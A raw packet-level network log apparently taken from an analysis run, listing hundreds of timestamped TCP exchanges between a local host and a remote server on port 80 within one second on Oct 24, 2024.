Oct 24, 2024 04:57:23.087986946 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:23.087989092 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:23.087996960 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:23.088001966 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:23.088010073 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:23.088022947 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:23.088030100 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:23.088038921 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:23.088047028 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:23.088056087 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:23.088064909 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:23.088073969 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:23.088090897 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:23.088107109 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:23.088114977 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:23.088115931 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:23.088131905 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:23.088146925 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:23.088156939 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:23.088165045 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:23.088175058 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:23.088176012 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:23.088192940 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:23.088202953 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:23.088212013 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:23.088222980 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:23.088232994 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:23.088232994 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:23.088249922 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:23.088258028 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:23.088260889 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:23.088289022 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:23.088289976 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:23.088316917 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:23.088325977 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:23.088356972 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:23.088366985 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:23.088376045 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:23.088385105 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:23.088402033 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:23.088424921 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:23.088438034 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:23.088449001 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:23.088449001 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:23.088464022 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:23.088474989 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:23.088485956 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:23.088491917 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:23.088495970 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:23.088502884 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:23.088515043 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:23.088527918 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:23.088531971 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:23.088541031 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:23.088541031 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:23.088550091 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:23.088563919 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:23.088589907 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:23.088615894 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:23.088654995 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:23.088665962 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:23.088677883 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:23.088715076 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:23.088716030 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:23.088726044 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:23.088752031 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:23.088754892 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:23.088767052 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:23.088777065 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:23.088784933 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:23.088790894 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:23.088802099 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:23.088814020 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:23.088821888 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:23.088824987 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:23.088841915 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:23.088864088 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:23.088865042 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:23.088875055 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:23.088891029 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:23.088895082 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:23.088912964 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:23.088922977 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:23.088923931 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:23.088948011 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:23.088964939 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:23.088977098 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:23.088992119 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:23.088995934 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:23.089010000 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:23.089018106 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:23.089037895 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:23.089040995 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:23.089097977 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:23.089106083 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:23.089116096 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:23.089152098 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:23.089190960 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:23.089200974 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:23.089217901 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:23.089227915 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:23.089227915 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:23.089241028 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:23.089262962 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:23.089265108 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:23.089276075 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:23.089293003 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:23.089313030 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:23.089333057 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:23.089369059 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:23.089380980 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:23.089407921 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:23.089412928 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:23.089418888 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:23.089440107 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:23.089446068 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:23.089454889 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:23.089469910 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:23.089481115 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:23.089502096 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:23.089565039 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:23.089576960 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:23.089601994 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:23.089611053 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:23.089615107 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:23.089699984 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:23.089709997 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:23.089728117 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:23.089739084 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:23.089740038 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:23.089756012 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:23.089766979 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:23.089818001 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:23.128248930 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:23.128323078 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:23.128338099 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:23.128356934 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:23.128372908 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:23.128379107 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:23.128391981 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:23.128393888 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:23.128410101 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:23.128413916 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:23.128434896 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:23.128463030 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:23.169640064 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:23.169703007 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:23.169719934 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:23.169780970 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:23.169785023 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:23.169835091 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:23.169842958 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:23.169887066 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:23.169888020 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:23.169931889 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:23.169939995 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:23.169990063 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:23.170031071 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:23.170046091 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:23.170057058 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:23.170103073 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:23.170150042 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:23.170150995 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:23.170193911 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:23.203284979 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:23.203294039 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:23.203319073 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:23.203339100 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:23.203349113 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:23.203350067 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:23.203365088 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:23.203381062 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:23.203392982 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:23.203396082 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:23.203402042 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:23.203408957 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:23.203413963 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:23.203418970 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:23.203433037 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:23.203440905 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:23.203447104 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:23.203469038 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:23.203478098 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:23.203478098 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:23.203497887 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:23.203506947 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:23.203532934 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:23.203543901 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:23.203600883 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:23.203615904 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:23.203624964 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:23.203641891 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:23.203650951 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:23.203663111 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:23.203666925 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:23.203679085 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:23.203691006 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:23.203691959 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:23.203710079 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:23.203717947 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:23.203742027 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:23.203794003 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:23.203804970 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:23.203826904 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:23.203831911 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:23.203836918 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:23.203849077 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:23.203859091 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:23.203867912 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:23.203869104 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:23.203891993 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:23.203896999 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:23.203902006 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:23.203917027 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:23.203921080 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:23.203927040 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:23.203939915 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:23.203941107 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:23.203947067 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:23.203962088 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:23.203963041 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:23.203974009 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:23.203989983 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:23.204008102 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:23.204022884 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:23.204324007 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:23.204355001 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:23.204365969 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:23.204375982 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:23.204386950 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:23.204397917 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:23.204407930 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:23.204421997 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:23.204444885 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:23.204519987 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:23.204528093 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:23.204557896 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:23.205008030 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:23.205018997 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:23.205044031 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:23.205054045 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:23.205069065 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:23.205076933 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:23.205101013 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:23.205110073 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:23.205157995 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:23.205168962 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:23.205185890 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:23.205208063 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:23.205219030 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:23.205246925 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:23.205256939 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:23.205276012 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:23.205288887 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:23.205307007 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:23.205312967 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:23.205318928 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:23.205323935 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:23.205332994 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:23.205354929 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:23.205358982 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:23.205384016 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:23.205406904 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:23.205420017 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:23.205429077 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:23.205447912 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:23.205454111 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:23.205457926 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:23.205467939 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:23.205477953 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:23.205486059 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:23.205487967 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:23.205497026 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:23.205507994 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:23.205518007 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:23.205518961 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:23.205537081 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:23.205562115 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:23.205580950 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:23.205591917 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:23.205629110 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:23.205677986 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:23.205698967 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:23.205713987 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:23.205725908 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:23.205735922 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:23.205743074 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:23.205754042 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:23.205754995 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:23.205775976 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:23.205785990 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:23.205801964 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:23.205811977 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:23.205812931 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:23.205836058 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:23.205851078 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:23.205851078 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:23.205859900 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:23.205871105 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:23.205879927 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:23.205888987 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:23.205895901 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:23.205926895 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:23.205971956 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:23.205984116 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:23.206005096 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:23.206015110 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:23.206022978 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:23.206027985 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:23.206043005 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:23.206043005 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:23.206062078 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:23.206069946 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:23.206085920 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:23.206094980 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:23.206103086 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:23.206111908 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:23.206121922 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:23.206136942 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:23.206147909 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:23.206149101 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:23.206161022 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:23.206180096 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:23.206182003 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:23.206196070 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:23.206197023 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:23.206204891 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:23.206223011 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:23.206224918 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:23.206249952 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:23.206264019 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:23.206274033 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:23.206285954 CEST	80	49704	185.215.113.37	192.168.2.5
